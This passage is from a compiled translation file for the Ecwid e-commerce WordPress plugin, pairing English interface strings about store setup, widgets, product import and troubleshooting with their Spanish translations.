Store�Rectangle�Refresh categories list�Register at %s�Report a problem with the store�Reports�Right�S�SKU�Sales�Sales channels�Save�Save and connect your %s store to the site�Save changes�Search�Search and Filters�Search products�Search the Knowledge Base�See more�Select All�Select category�Selected Product�Selected category�Sell on Facebook�Send Message�Send a message to our support team�Send message failed�Set Up Your Store�Set manually�Set up your store�Settings�Setup�Shipping & Pickup�Shop�Shopping Cart�Shopping Cart (deprecated)�Shopping Cart Floating (deprecated)�Shopping Cart Icon�Shopping Cart Mini (deprecated)�Shopping Cart Widget�Show�Show additional image on hover�Show categories�Show customers that they can use a search and filters to find desired products faster.�Show description under the image�Show minicart�Show on all pages�Show on hover�Show on store pages�Show price inside the "Buy now" button�Show price inside the «Buy now» button�Show product card border�Show product thumbnails�Show search�Show when empty�Show your store on the home page�Single Sign-On allows your customers to have a single login for your WordPress site and your %s. When someone logs in to your site, they will automatically be logged in to their customer account in your store as well with no need to enter their email/password again.�Small icon�Small icon and item count�Some of the items could not be imported.�Sorry we're having technical difficulties.�Sorry, there is a problem. This page is supposed to display your store Control Panel. However, this Wordpress site doesn't seem to be able to connect to the Ecwid server to show your store dashboard here. This is likely caused by your server misconfiguration and can be fixed by your hosting provider. Here is a more techy description of the problem, which you can send to your hosting provider: "The Wordpress function wp_remote_post() failed to connect a remote server because of some error: "%s". Seems like HTTP POST requests are disabled on this server". <br /><br />Please feel free to contact us at <a %s>wordpress@ecwid.com</a> and we will help you contact your hosting and ask them to fix the issue. <br /><br /> Meanwhile, to manage your store, you can use the Ecwid Web Control Panel at <a %s>my.ecwid.com</a>. Your store front is working fine as well and you can check it here: <a %s>%s</a>.�Square 1:1�Start Import�Status�Stay connected with your customers. Update the content of your store anytime to tell customers about ongoing promotions and what's new in your store.�Still have questions about Ecwid? Let us know!�Store�Store Categories�Store Categories Menu�Store Category Page�Store Front Page�Store Home Page�Store ID�Store ID is a unique identifier of any %1$s store, it consists of several digits. You can find it on the "Dashboard" page of %1$s control panel. Also the Store ID will be sent in the Welcome email after the registration.�Store ID is a unique identifier of your %1$s account. You can find it in your %1$s control panel on the <a %2$s>Dashboard page</a>.�Store Link Title�Store Navigation�Store Page�Store Page Link�Store Root Categories�Store appearance�Store elements�Store management�Store page content�Store page on your site�Store root category�Store with Categories Menu�Storefront�Subject�Submit & Deactivate�Switch to draft�Synchronize products�Table�Table view�Take a few simple steps to complete store setup�Take advantage of powerful apps and extensions designed to enhance your store.�Text�Text color�Thank you for choosing %s to build your online store�The block is hidden because you don't have categories in your store. <a target="_blank" href="admin.php?page=ec-store-admin-category-id-0-mode-edit">Add categories.</a>�The category that is shown by default on the Store Front Page�The first step towards opening your online business: <br />Let’s get started and add a store to your WordPress website in <strong>3</strong> simple steps.�The plugin doesn't support the feature I want�The shopping cart icon shows the number of items in the cart and helps customers proceed to the checkout. Additionally, you can <a href="%s" target="_blank">adjust the cart icon appearance</a>.�The store is not visible on your site�The store top-level categories are automatically added to this drop-down menu�Themes for Ecwid�This import will copy your WooCommerce products and categories to your %s store.�This is a demo store. Create your store to see your store products here.�This will change the label of the module in the builder for easy identification.�Title�Title on image�Title only�Title or SKU�Title under image�Title:�To add extra functions to your store, drag and drop %s store elements on your site. When you're done, you can get back to modifying your settings.�To add your store to your website, put your %1$s Store ID in the field below. If you don't have an %1$s account yet, create one for free on the <a %2$s>%1$s website</a>.�To allow %s automatically log in customers to your store, please provide it with a permission to use the customer data in the store. <a %s>Please use this link to do that</a>�To be able to choose a product to insert to your posts and pages, you will need to re-connect your site to your %s store. This will only require you to accept permissions request – so that the plugin will be able to list your products in the "Add product" dialog.�To create sitemap for your Wordpress site we suggest using <a target="_blank" href="https://wordpress.org/plugins/google-sitemap-generator/">Google XML Sitemaps</a> or <a target="_blank" href="https://wordpress.org/plugins/wordpress-seo/">Yoast Wordpress SEO</a>.  plugins. These plugins are fully compatible with Ecwid and allow to generate a sitemap that will contain links to categories and product pages, so the store pages will get indexed faster. Please note that this option is available to <a target="_blank" href="https://www.ecwid.com/pricing">paid Ecwid users</a>.�To display your store on this site, you need to allow WordPress to access your %1$s products. Please press connect to provide permission.�To enable this feature, the plugin needs a permission to read your store product information.�To feature a single product on a separate page or blog post of your site, use <b>[ecwid_product]</b> shortcode. <a target="_blank" href="https://support.ecwid.com/hc/en-us/articles/207101259-Wordpress-downloadable-#buynow">How to use it.</a>�To improve the look and feel of your product page and manage its appearance here, please enable the “Next-gen look and feel of the product page on the storefront†option in your store dashboard (“<a href="admin.php?page=ec-store&ec-store-page=whatsnew">Settings → What’s New</a>â€).�To improve the look and feel of your product page and manage your its appearance here, please enable the “Next-gen look and feel of the product page on the storefront†option in your store dashboard (“<a href="admin.php?page=ec-store&ec-store-page=whatsnew">Settings → What’s New</a>â€).�To improve the look and feel of your store and manage your storefront appearance here, please enable the “Next-gen look and feel of the product list on the storefront†option in your store dashboard (“<a href="admin.php?page=ec-store&ec-store-page=whatsnew">Settings → What’s New</a>â€).�To make sure your customer can actually log in to your site and store, enable registration in the <a %s>site settings</a>�To manage your store, go to <a %s>the Store Dashboard page</a>�To sell using %1$s, you must allow WordPress to access the %1$s plugin. The connect button will direct you to your %1$s account where you can provide permission.�To show your storefront instead of the demo store, connect your existing %s account or create a new one.�To start selling, add a page to your site where the storefront will display.�Top left�Top right�Try another search.�Type in your message here�URL Slug�Update�Update your catalog�Upgrade to get this feature�Vertical indent�Vertical thumbnails�Very dark gray�Very light gray�View Store Page�View demo store page�View store page�Visit storefront�Vivid cyan blue�Vivid green cyan�Vivid red�Want to connect another %s store?�Warning: some of your online store features are disabled. Please contact your hosting provider to resolve.�We found you have a WooCommerce installed. Your WooCommerce store has %1$s products and %2$s categories. Would you like to import it to %3$s?�We noticed you have WooCommerce installed. If you want to easily copy your WooCommerce products to %s, this tool will help you.�We're synchronizing your products. This may take a few minutes. Please do not reload the page.�Website�What feature do you need?�What was wrong?�What's next?�While your store is not connected, a demo store displays on your site. Check it to get the idea of how your store may look on the site.�Wholesale prices�You can add product search box, cart widget and more on the <a href="%s">"Appearance / Widgets page"</a> here in your site admin. <a target="_blank" href="https://support.ecwid.com/hc/en-us/articles/207101259-Wordpress-downloadable-#sidebarwidgets">More details.</a>�You can add the entire storefront, categories, products, or "Buy now" buttons to other pages on your site. To do that, open a page in the editor and add an appropriate %s block.�You can add the store categories menu to your site menu to help your customers easily navigate your site. Just open "Appearance > Menus" in your WordPress control panel and add the "Store with Categories Menu" item to your site menu. A drop-down menu containing your store categories will automatically appear on your site.�You can add your online store to your Facebook business page. No addons needed. Ecwid will automatically synchronize products, customers, orders and inventory between your WordPress and Facebook storefronts. <a target="_blank" href="https://support.ecwid.com/hc/en-us/articles/115005892705-Facebook-Shop">More details.</a>�You can control your store look and feel on the <a %s>Design settings page</a> in your store control panel.�You can display your store on the site main page. Adjust the "Reading" settings of your site as described in our <a target="_blank" href="https://support.ecwid.com/hc/en-us/articles/207101259-Wordpress-downloadable-#displaystoreonhomepage">Help Center.</a>�You can enable an extra shopping bag icon widget that will appear on your site pages. Open “<a href="%1$s">Appearance → Customize → %2$s</a>†menu to enable it.�You can enable filters in the store settings: (“<a target="_blank" href="admin.php?page=ec-store-admin-product-filters-mode-main">Settings → Product Filters</a>â€).�You can send a new request here.�You have not viewed any product yet. Open store.�You will be able to sign up through your existing Google, Facebook or PayPal profiles as well.�Your %s store has �Your %s store is connected<br /> to your WordPress website�Your %s store is now connected<br /> to your WordPress website�Your Storefront�Your WooCommerce store has �Your email has been sent�Your product�Your store Control Panel. Right here in WordPress.�Your store has been created. Preparing your store dashboard ...�Your store is added to several pages on the site. Choose the main page. Customers are directed to the main store page when they click on the cart icon, store links in the site menu, and products in the sidebar.�Your store is almost ready!�Your store is not added to any page on your site. To let customers browse your store and place orders, create a page where the store will display.�Your store page�Your store page is currently in draft. Once you are ready, publish it to let customers browse the store and place orders.�Your store page is published. Customers can browse your store at �Your store will be shown here�Your store will be shown here!�Your storefront (product listing and checkout) is working fine, but the advanced store functions like SEO and sidebar widgets are disabled. To enable them and make sure your store works properly, please press the button below to connect your %s account. This will take less than a minute — you will only be asked to log in to your account and allow this site to get your store data.�[%s] WordPress plugin deactivation feedback (store ID: %s)�customize appearance�gutenberg-product-blockContent�gutenberg-store-block-stubStore�http://www.ecwid.com?partner=wporg�https://ecwid.to/ecwid-site�https://support.ecwid.com/hc/en-us�https://support.ecwid.com/hc/en-us/articles/208079105-Importing-products�https://support.ecwid.com/hc/en-us/search�https://www.ecwid.com/blog�or <a %s>Browse the Help Center�product-browser-attributesProduct SKU�product-browser-attributesProduct price�select product�selected product�vc-tabOnline store�«Buy now» button�PO-Revision-Date: 2020-10-12 12:46 MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Plural-Forms: nplurals=2; plural=(n != 1); X-Generator: Poedit 2.4.1 Language: es Project-Id-Version: temporary-strings X-Crowdin-Project: temporary-strings X-Crowdin-Project-ID: 295314 X-Crowdin-Language: es-ES X-Crowdin-File: /Wordpress Plugin/wp-plugins-ecwid-shopping-cart-stable.po X-Crowdin-File-ID: 988 Language-Team: Spanish Last-Translator: � Elegir otro producto� ¡Muchas gracias por ponerse en contacto con nosotros! Nos pondremos en contacto con usted en breve.�Etiqueta de productos «En existencia»�%s�Blog de %s�Carrito de compras de %s�Tienda de %s�Página de la tienda de %s�El complemento %s no funciona bien con mi tema «%s»�%s producto�%s productos�%s productos y %s categorías�%s productos y categorías�Configuraciones del carrito de compras de %s�%s almacena los datos de sus productos de forma segura en la nube. Las páginas de productos se muestran sobre la marcha cuando un cliente navega por su tienda. Por lo que, básicamente, los productos no se almacenan en el sitio web, por eso la búsqueda en el sitio web no encuentra páginas de productos mientras busca en las páginas del sitio web y en las publicaciones. Esta opción habilita un modo de almacenamiento local: los productos se almacenarán tanto en la nube como en su sitio web. Los resultados de la búsqueda en el sitio web incluirán las páginas de productos, así como las páginas o publicaciones habituales de su sitio web.�%s — Configuración avanzada�(podrá confirmar los cambios antes de la importación definitiva)�2 columnas, imagen a la izquierda�2 columnas, imagen a la derecha�3 columnas, imagen a la izquierda�3 columnas, imagen a la derecha�<a %s>Tienda en línea con tecnología de %s</a>�<a %s>Volver a conectar</a>�<a href="admin.php?page=�<b>%s</b> categorías�Un «slug» es la última parte de una URL. Puede crear un «slug» personalizado para la página de su tienda. Es mejor que sea corto, ya que los clientes y los motores de búsqueda prefieren las URL cortas. Por ejemplo, utilice «/tienda» o «/productos».�Acción requerida: conecte su cuenta de %s�Añadir producto�Añadir tienda�Añadir la página de la tienda al menú�Añadir una página de categoría�Añadir página de productos�Añadir una página de búsqueda y filtros�Añadir una página de tienda�Añadir una tienda en línea a su sitio web�Añadir borde�Añadir carrito y página de pago�Añadir categorías�Añadir la página de la tienda al menú del sitio web�Añadir escaparate virtual (listado de productos)�Añadir al menú�Añada su tienda de %s al sitio web y comience a vender en minutos.�Añada su tienda a otras páginas del sitio web�Añada su escaparate virtual a la página de inicio del sitio web para que sea más notable. También puede modificar la configuración de la página de inicio del sitio web en <a href="%s" target="_blank">Configuración de WordPress > Lectura</a>.�Páginas adicionales de la tienda�Además, puede añadir controles de la tienda a la barra de herramientas de su sitio web mediante <a %s>«widgets» nativos de WordPress</a>.�Añade un «widget» de carrito para que el cliente vea los productos que se han añadido al carrito.�Añade un «widget» de carrito compacto para que el cliente vea los productos que se han añadido al carrito.�Añada un «widget» de carrito de compras en la esquina superior derecha de su sitio web.�Añade la lista de categorías raíz a la barra lateral para que sus clientes puedan desplazarse por la tienda.�Añade un bloque de categorías verticales para permitir que el cliente navegue por su tienda.�Ajuste el diseño de su tienda para que se adapte a las necesidades de su negocio.�Etiqueta de administrador�Avanzado�Configuraciones avanzadas�Después de la importación, su tienda de %s tendrá �Todos los canales de venta�Junto con el catálogo de la tienda, puede añadir otros «widgets» y textos a la página de la tienda.�Apariencia�Aplicaciones�Cantidad disponible en existencia�Regresar a la configuración de la tienda�Color del fondo�Bolsa�Cesta�Antes de que se vaya�Borde�Borde:�Abajo a la izquierda�Abajo a la derecha�Migas de pan�Explorar todos los productos.�Buscar por categoría�Importar en masa productos y categorías a su tienda de %s�Color del botón�Comprar ahora�Botón «Comprar ahora»�Botones de «Comprar ahora»�Al continuar, acepta los <a %s>Términos de servicio</a> y la <a %s>Política de privacidad</a>.�Clase CSS�ID de CSS�¿Podría compartir el nombre del complemento que ha elegido?�¿Podría compartir su opinión? ¿Qué fue lo que pasó?�Cancelar�Carrito�Carrito y pago�Icono del carrito de compras�Icono del carrito:�Catálogo�Categorías�Categoría�Apariencia de la lista de categorías�Diseño de la ficha de categoría�Categoría mostrada por defecto�Relación de aspecto de la miniatura de la categoría�Tamaño de la miniatura de la categoría�Centrado�Centrar la alineación en una página�Cambiar�Cambiar el contenido de la tienda�Elegir producto�Elegir producto�Elija las propiedades del producto para mostrarlas en el «widget»�Elegir la página principal de la tienda�Elija los «widgets» a mostrar�Haga clic en el botón «Conectar» para obtener los permisos para actualizar el catálogo de productos�Configuración de colores�Completar configuración�Complete la configuración y comience a vender�Configuración�¡Enhorabuena!�Conectar�Conecte su tienda�Conecte su tienda de %s�Conecte su tienda�Error de conexión: después de hacer clic en el botón, debe iniciar sesión y otorgar los permisos para poder utilizar nuestro complemento. Inténtelo de nuevo.�Ponerse en contacto con la asistencia�Póngase en contacto con nosotros�Contenido�Copia de productos y categorías.�Crear página del carrito�Crear página de categorías�Crear página de productos�Crear página de búsqueda�Crear tienda�Crear la página de la tienda�Cree una página de aterrizaje con uno de sus productos.�Cree una nueva cuenta de %s que utilizará para gestionar su tienda e inventario. El registro es gratuito.�Cree una nueva tienda o, si ya tiene una cuenta de %s, conéctela. El complemento le guiará a través de la configuración de la tienda y le ayudará a publicarla en su sitio web.�Crear una nueva cuenta�Crear tienda�Página actual�«Slug» actual de la dirección URL: /<span data-ec-store-slug>%s</span>�Inicio de sesión único del cliente�Clientes�Los clientes no pueden ver la página de su tienda porque está en un borrador. Publique la página para que esté disponible para sus clientes.�Los clientes van a la página del carrito para consultar los productos que han añadido al mismo y proceder con el pago.�Personalizar el diseño�Personalizar la apariencia de la tienda�Personalizar la dirección de la página de la tienda�Personalizar «widget»�Personalice la apariencia de su tienda para que se ajuste a las necesidades de su negocio. Cree la apariencia para su tienda que más se parezca a su marca.�Gris cian azulado�Panel�Categoría predeterminada�ID de categoría predeterminada�ID del producto predeterminado�Modo de vista predeterminado en las páginas de productos�Modo de vista predeterminado en los resultados de búsqueda�Productos eliminados sincronizados: %1$s de %2$s�Tienda de demostración�Tienda de demostración�Diseño�Diseño y contenido�Detectar automáticamente�Desconectar tienda�Mostrar un botón de compra�Mostrar migas de pan�Mostrar icono del carrito�Mostrar el menú de categorías�Mostrar la barra de navegación de las categorías�Mostrar la página de categorías�Mostrar el menú del pie de página�Mostrar la página de productos con la descripción y un botón de compra�Mostrar el producto con un botón de compra�Mostrar el cuadro de búsqueda�Mostrar página de búsqueda con los filtros a un lado�Mostrar enlace y resumen de la bolsa de compras�Mostrar el carrito de compras�Mostrar el carrito de compras y la página de pago�Mostrar el enlace de inicio de sesión�Mostrar «ordenar por enlace»�Muestre el icono del carrito de compras en las páginas del sitio web�Producto mostrado�Muestra un enlace a la página de la tienda en la barra lateral para que el cliente acceda rápidamente a su tienda desde cualquier página del sitio web.�Muestra una lista de productos vistos recientemente por el cliente para volver fácilmente a los productos que vieron en su tienda.�Muestra una lista de productos aleatorios.�Muestra un producto aleatorio de su tienda para atraer la atención del cliente.�Muestra un cuadro de búsqueda simple para que sus clientes encuentren un producto en su tienda.�Muestra el escaparate virtual: listado de productos y pago�Muestra los últimos productos añadidos de su tienda. Muestre nuevos productos a los clientes existentes para impulsar las ventas repetidas.�No mostrar�¿Le gusta Ecwid y quiere ayudarlo a crecer? Puede añadir este elegante distintivo «Powered by Ecwid» en su sitio web para mostrarles a sus visitantes que es un usuario orgulloso de Ecwid.�¿Le gusta su tienda de %s en línea? Apreciaríamos si comparte su opinión y vota por el complemento en el sitio de WordPress.�Hecho�Descargar <a href="%s">registro de importación</a>�Descargar archivo de registro�Borrador�Por ejemplo, cómo establecer el envío�Distintivo de Ecwid�Comercio electrónico Ecwid�Carrito de compras del comercio electrónico de Ecwid�Elemento del menú de Ecwid�Ecwid le permite subir sus productos en forma de archivo CSV. Obtenga más información sobre esta herramienta en el centro de asistencia de Ecwid�«Widget» de comercio electrónico de Ecwid�Solución de comercio electrónico de Ecwid�Carrito de compras gratuito de Ecwid�Ecwid cuenta con la certificación PCI DSS Nivel 1, que es el estándar de oro para las soluciones de comercio electrónico en todo el mundo. Esto significa que no tendrá problemas de cumplimiento bancario cuando venda en línea con Ecwid. <a target="_blank" href="https://support.ecwid.com/hc/en-us/articles/207101259-Wordpress-downloadable-#security">Más detalles.</a>�Ecwid es un carrito de compras gratuito con todas las funciones. Se puede integrar fácilmente con cualquier blog de Wordpress y se configura en menos de 5 minutos.�Ecwid es compatible con cualquier tema de WordPress. Ya sea un tema gratuito del catálogo de WordPress.org, un tema prémium de un proveedor externo o un tema personalizado; su tienda de Ecwid funcionará bien con cualquiera de ellos. Si desea un tema prémium, le recomendamos <a href="%s">temas de TemplateMonster</a>.�Ecwid ofrece aplicaciones móviles gratuitas para iOS y Android para que pueda gestionar su tienda y vender donde y cuando quiera. Escanee productos, supervise el inventario, gestione las ventas y acepte pagos utilizando su dispositivo móvil como una estación de punto de venta. <a target="_blank" href="https://www.ecwid.com/ecwid-mobile">Más detalles.</a>�Carrito de compras de Ecwid�«Widget» de carrito de compras de Ecwid�Editar�Editar apariencia�Editar categoría�Editar producto�Editar tienda�Editar «slug» de la dirección URL�Editar página�Introduzca un ID de CSS opcional que se utilizará para este módulo. Se puede utilizar un ID para crear un estilo CSS personalizado o para crear enlaces a secciones particulares de su página web.�Introduzca las clases CSS opcionales que se utilizarán para este módulo. Se puede utilizar una clase CSS para crear estilos CSS personalizados. Puede añadir varias clases separadas por un espacio.�Introduzca el ID de su tienda�Introduzca el ID de su tienda aquí:�Extensiones para su tienda�Destacar una categoría de la tienda específica en una página separada de su sitio web.�Destaque sus productos en la barra lateral�Filtros�Posición del panel de filtros�Encuentre el ID de su tienda�Primera página�Preguntas frecuentes�Descargue la aplicación móvil de %s�Ir a «Páginas»�Ir a sus productos de %s�¡Saludos!�¡Enhorabuena! Su complemento de %s ya está activo.�Cuadrícula�Vista de cuadrícula�Ayuda�Ayude a los clientes a encontrar su tienda en el sitio web. Añada el enlace de la tienda al menú del sitio web, cree páginas adicionales de la tienda y resalte los productos de la tienda en otras páginas del sitio web y en las barras laterales.�Ayude a los clientes a encontrar su tienda en el sitio web.�Aquí puede gestionar cuántos productos se mostrarán por página. Estas opciones definen valores máximos. Si no hay suficiente espacio para mostrar todas las columnas de productos, %s adaptará el número de columnas para mantener todos los productos.�Aquí puede crear el contenido que se utilizará dentro del módulo.�Aquí, le ayudaremos a subir su catálogo de productos a %s de otro carrito de compras u otras fuentes.�Ocultar�Destaque productos, categorías y otras páginas de la tienda añadiéndolas a páginas del sitio web separadas.�Destaque sus mejores ventas o nuevos productos en la barra lateral del sitio web.�Sangría horizontal�Miniaturas horizontales�¿Cómo puedo añadir un «widget» de carrito de compras a la barra lateral de mi sitio web?�¿Cómo puedo gestionar mi tienda desde un dispositivo móvil?�¿Cómo podemos ayudarle?�¿Cómo puedo añadir categorías de tiendas al menú del sitio web?�¿Cómo pongo mis productos en el mapa del sitio?�¿Cuánto cuesta Ecwid?�¿Qué tan seguro es este complemento? ¿Mi tienda cumple con el PCI DSS?�¿Cómo añadir un solo producto con el botón de «añadir a la bolsa» en las páginas del sitio web?�¿Cómo crear una tienda en Facebook con Ecwid?�Ya tengo una cuenta, iniciar sesión�No pude encontrar un tema de WordPress adecuado para %s�Encontré un mejor complemento�Tengo un problema con el uso de este complemento�Tengo un problema con mi tienda de %s�Utilizo este tema de WordPress: %s�Icono�Icono y total de artículos�Icono, etiqueta y total de artículos�Icono, etiqueta, total de artículos y subtotal�Icono, etiqueta, total de artículos, subtotal y enlace�Si tiene un momento, háganos saber por qué está desactivando:�Imagen y título al pasar el ratón por encima�Canal de imagen�Diseño de la galería de imágenes�Solo imagen�Importar�Importe sus productos de Woocommerce a %s�Importación completada�Importación completada. <a href="%s">Ejecútela de nuevo.</a>�La importación crea nuevos productos y actualiza los productos existentes con las REF correspondientes.�La importación está en progreso�Importar mis productos de WooCommerce�Importar el catálogo de productos de WooCommerce�Importar el catálogo de productos de otras fuentes�Importe los productos a su tienda de %s�Resumen de la importación�Importe su catálogo de WooCommerce a %s�Importe sus productos de WooCommerce a %s�Importe sus productos de Woocommerce a %s�<b>%s</b> productos importados�Importando %s de %s artículos�Insertar�Insertar en la página�Sitio web instantáneo�Integración con la búsqueda en su sitio web�¿Es posible mostrar mi tienda en la página de inicio del sitio web?�¿Existe algún tema de WordPress para Ecwid?�Es una desactivación temporal. No preguntarme de nuevo.�Solo el total de artículos�Justificado�Base de conocimiento�G�Etiqueta y y total de artículos�Horizontal 3:2�Horizontal 4:3�Última página�Última actualización�Últimos productos�Diseño�Diseño:�Más información�Izquierda�Cian verde claro�Color del enlace�Producto vinculado�Lista�Vista de lista�Parece que su sitio web no admite solicitudes POST remotas, las cuales son necesarias para que la API de %s funcione. Comuníquese con su proveedor de alojamiento web para habilitar cURL.�Ãmbar vívido y brillante�Naranja vívido y brillante�M�Haga que su tienda sea accesible desde el menú del sitio web para que sus clientes puedan encontrarla fácilmente.�Gestionar la barra lateral�Gestione la tienda desde iPhone, iPad o Android�Gestione productos, supervise las ventas y ajuste la configuración: <nobr>todo sin</nobr> salir de esta página.�Gestionar la tienda�Gestionar escaparate virtual�Mercadotecnia�Móvil�Mi cuenta�Mi perfil�Mis ventas�Nombre�Navegación�¿Necesita ayuda para importar sus productos de WooCommerce a %s?�Nunca mostrar este mensaje otra vez�Página siguiente�Página siguiente�No, gracias�Sin borde�No se ha sincronizado todavía�Nota: cuando está habilitado, el «widget» del carrito siempre se mostrará en la vista previa para que sea más fácil personalizarlo. Las opciones «Mostrar en las páginas de la tienda» y «Mostrar cuando esté vacío» se aplicarán al «widget» del carrito en el sitio cuando se publiquen�No se ha encontrado nada en relación con <span class="empty-page__term">«{{ data.term }}»</span>�Número de categorías por fila�Número de productos por página�Número de productos para mostrar�A la izquierda�A la derecha�Tienda en línea�Aplicaciones de la tienda en línea�Tienda en línea�Abrir el panel de control�Abrir el panel de la tienda�Opciones�Pedidos�Otro�Nuestros 4 tipos de cuentas varían según la cantidad de productos, los tipos de funcionalidades y el nivel de asistencia. Para obtener más información, consulte nuestra <a target="_blank" href="%s">página de precios.</a><br /><br />Consejo profesional: también puede ahorrar dinero si se suscribe a nuestros planes anuales.�Nuestro equipo ya está trabajando en este asunto. Actualice la página en unos minutos. Si el problema persiste, comuníquese con <a target="_blank" href="https://help.ecwid.com/customer/portal/emails/new">nuestro equipo de atención al cliente</a>.�Ya existe una página con ese nombre.�Azul cian pálido�Rosa pálido�Parte de los productos no se han copiado a %1$s porque alcanzó el límite de productos en su plan de precios en %1$s. Si desea importar más productos, considere <nobr><a %2$s>actualizar su plan de %1$s.</a></nobr>�Pago�Personalice la apariencia de su escaparate virtual y edite el contenido en la página de la tienda para reflejar su marca y mantenerse conectado con sus clientes.�Elegir una categoría�Elegir un producto�Imagen�Píldora�Tenga en cuenta el número máximo de productos y categorías que puede tener en su tienda de Ecwid. Esta herramienta de importación se detendrá automáticamente cuando se alcance el límite de productos de la tienda. Para conocer el límite actual de la tienda o aumentarlo, consulte la página <nobr><a %s target="_blank">«Facturación y planes»</a></nobr> ubicada en el panel de su tienda de Ecwid.�Suscríbase a un plan de pago para obtener esta función.�Complementos para Ecwid�Vertical 2:3�Vertical 3:4�Posición�Vista previa�Página anterior�Precio�Color del precio�Producto�Ficha de producto ampliada�Ficha de producto reducida�Apariencia de la lista de productos�Apariencia de la página del producto�REF del producto�Búsqueda de productos�Cuadro de búsqueda de productos�Búsqueda de productos y filtros�El texto de la ficha del producto se alinea�El catálogo de productos se mostrará automáticamente�Diseño de la página de productos�Precio del producto�Cantidad de productos�Contenido de la barra lateral de productos�Relación de aspecto de la miniatura del producto�Tamaño de la miniatura del producto�Título del producto�Productos�Los productos se sincronizaron satisfactoriamente. Las páginas de productos están actualizadas.�Productos eliminados sincronizados: %1$s de %2$s�Promocione su tienda�Otorgar acceso.�Proporcionado por <a %s>%s</a>�Publicar�Publicar la página de la tienda�Publique la página para poder utilizar esta opción�Publicada�Cantidad�¿Tiene alguna pregunta?�Producto aleatorio�Productos aleatorios�Tasa de %s en WordPress.org�Vuélvase a conectar para activar el panel de control�Productos vistos recientemente�Recomendaciones para su tienda en línea�Rectángulo�Actualizar la lista de categorías�Registrarse en %s�Informar un problema con la tienda�Informes�Derecha�P�REF�Ventas�Canales de venta�Guardar�Guarde y conecte su tienda de %s al sitio web�Guardar cambios�Buscar�Búsqueda y filtros�Buscar productos�Buscar en la base de conocimientos�Ver más�Seleccionar todo�Seleccionar categoría�Producto seleccionado�Categoría seleccionada�Vender en Facebook�Enviar mensaje�Envíe un mensaje a nuestro equipo de asistencia�Ocurrió un error al enviar el mensaje�Configure su tienda�Configurar manualmente�Configure su tienda�Configuraciones�Configuración�Envío y recogida�Tienda�Carrito de compras�Carrito de compras (descontinuado)�Carrito de compras flotante (descontinuado)�Icono del carrito de compras�Carrito de compras en miniatura (descontinuado)�«Widget» del carrito de compras�Mostrar�Mostrar imagen adicional al pasar el ratón�Mostrar categorías�Muéstreles a los clientes que pueden utilizar la búsqueda y los filtros para encontrar los productos que deseen de forma más rápida.�Mostrar descripción debajo de la imagen�Mostrar minicarrito�Mostrar en todas las páginas�Mostrar al pasar el ratón�Mostrar en las páginas de la tienda�Mostrar el precio dentro del botón de «Comprar ahora»�Mostrar el precio dentro del botón de «Comprar ahora»�Mostrar el borde de la ficha del producto�Mostrar miniaturas de los productos�Mostrar búsqueda�Mostrar cuando esté vacío�Muestre su tienda en la página de inicio�El inicio de sesión único les permite a sus clientes tener un inicio de sesión único para su sitio web de WordPress y su %s. Cuando alguien inicie sesión en su sitio web, también iniciará sesión automáticamente en su cuenta de cliente en la tienda sin necesidad de introducir su correo electrónico y contraseña nuevamente.�Icono pequeño�Icono pequeño y total de artículos�Algunos de los artículos no se pudieron importar.�Le pido disculpas por las dificultades técnicas que estamos experimentando.�Lo siento, hay un problema. Se supone que esta página muestra el panel de control de su tienda; sin embargo, este sitio web de Wordpress no parece poder conectarse al servidor de Ecwid para mostrar el panel de su tienda aquí. Es probable que esto se deba a una mala configuración del servidor; su proveedor de alojamiento web puede solucionarlo. Aquí hay una descripción más técnica del problema, la cual puede enviarle a su proveedor de alojamiento web: «La función de Wordpress wp_remote_post() no pudo conectarse a un servidor remoto debido al error: “%sâ€; parece que las solicitudes HTTP POST están inhabilitadas en este servidor». <br /><br />No dude en ponerse en contacto con nosotros en <a %s>wordpress@ecwid.com</a> y le ayudaremos a comunicarse con su proveedor de alojamiento web para pedirle que solucione el problema. <br /><br /> Mientras tanto, para gestionar su tienda, puede utilizar el panel de control web de Ecwid en <a %s>my.ecwid.com</a>. Su escaparate virtual está funcionando bien; puede echarle un vistazo aquí: <a %s>%s</a>.�Cuadrado 1:1�Iniciar la importación�Estado�Manténgase conectado con sus clientes. Actualice el contenido de su tienda en cualquier momento para informarles a los clientes sobre las promociones actuales y las novedades de su tienda.�¿Todavía tiene preguntas acerca de Ecwid? ¡Háganoslo saber!�Tienda�Categorías de la tienda�Menú de categorías de la tienda�Página de categorías de la tienda�Página del escaparate virtual�Página de inicio de la tienda�ID de la tienda�El ID de la tienda es un identificador único de cualquier tienda de %1$s, el cual consta de varios dígitos. Puede encontrarlo en la página «Panel» del panel de control de %1$s. El ID de la tienda se enviará en el correo electrónico de bienvenida después del registro.�El ID de la tienda es un identificador único de su cuenta de %1$s. Puede encontrarlo en su panel de control de %1$s en la <a %2$s>página del panel</a>.�Título del enlace de la tienda�Navegación en la tienda�Página de la tienda�Enlace a la página de la tienda�Categorías raíz de la tienda�Apariencia de la tienda�Elementos de la tienda�Gestión de la tienda�Contenido de la página de la tienda�Página de la tienda en su sitio web�Categoría raíz de la tienda�Tienda con menú de categorías�Escaparate virtual�Asunto�Enviar y desactivar�Cambiar al borrador�Sincronizar productos�Tabla�Vista de tabla�Siga unos sencillos pasos para completar la configuración de la tienda�Aproveche las increíbles aplicaciones y extensiones diseñadas para mejorar su tienda.�Texto�Color del texto�Gracias por elegir %s para construir su tienda en línea�El bloque está oculto porque no tiene categorías en su tienda. <a target="_blank" href="admin.php?page=ec-store-admin-category-id-0-mode-edit">Añadir categorías.</a>�La categoría que se muestra de forma predeterminada en la página del escaparate virtual�El primer paso para abrir su negocio en línea: <br />añadamos una tienda a su sitio web de WordPress en <strong>3</strong> simples pasos.�El complemento no es compatible con la función que quiero�El icono del carrito de compras muestra la cantidad de artículos en el carrito y ayuda a los clientes a realizar el pago. Además, puede <a href="%s" target="_blank">ajustar la apariencia del icono del carrito</a>.�La tienda no es visible en su sitio web�Las categorías de alto nivel de la tienda se añaden automáticamente a este menú desplegable�Temas para Ecwid�Esta importación copiará sus productos y categorías de WooCommerce a su tienda de %s.�Esto es una tienda de demostración. Cree su tienda para ver los productos de su tienda aquí.�Esto cambiará la etiqueta del módulo en el creador para una fácil identificación.�Título�Título en la imagen�Solo título�Título o REF�Título debajo de la imagen�Título:�Para añadir funciones adicionales a su tienda, arrastre y suelte los elementos de la tienda de %s en su sitio web. Una vez que haya terminado, puede volver a modificar su configuración.�Para añadir su tienda a su sitio web, introduzca el ID de su tienda de %1$s en el campo a continuación. Si aún no tiene una cuenta de %1$s, cree una gratis en el <a %2$s>sitio web 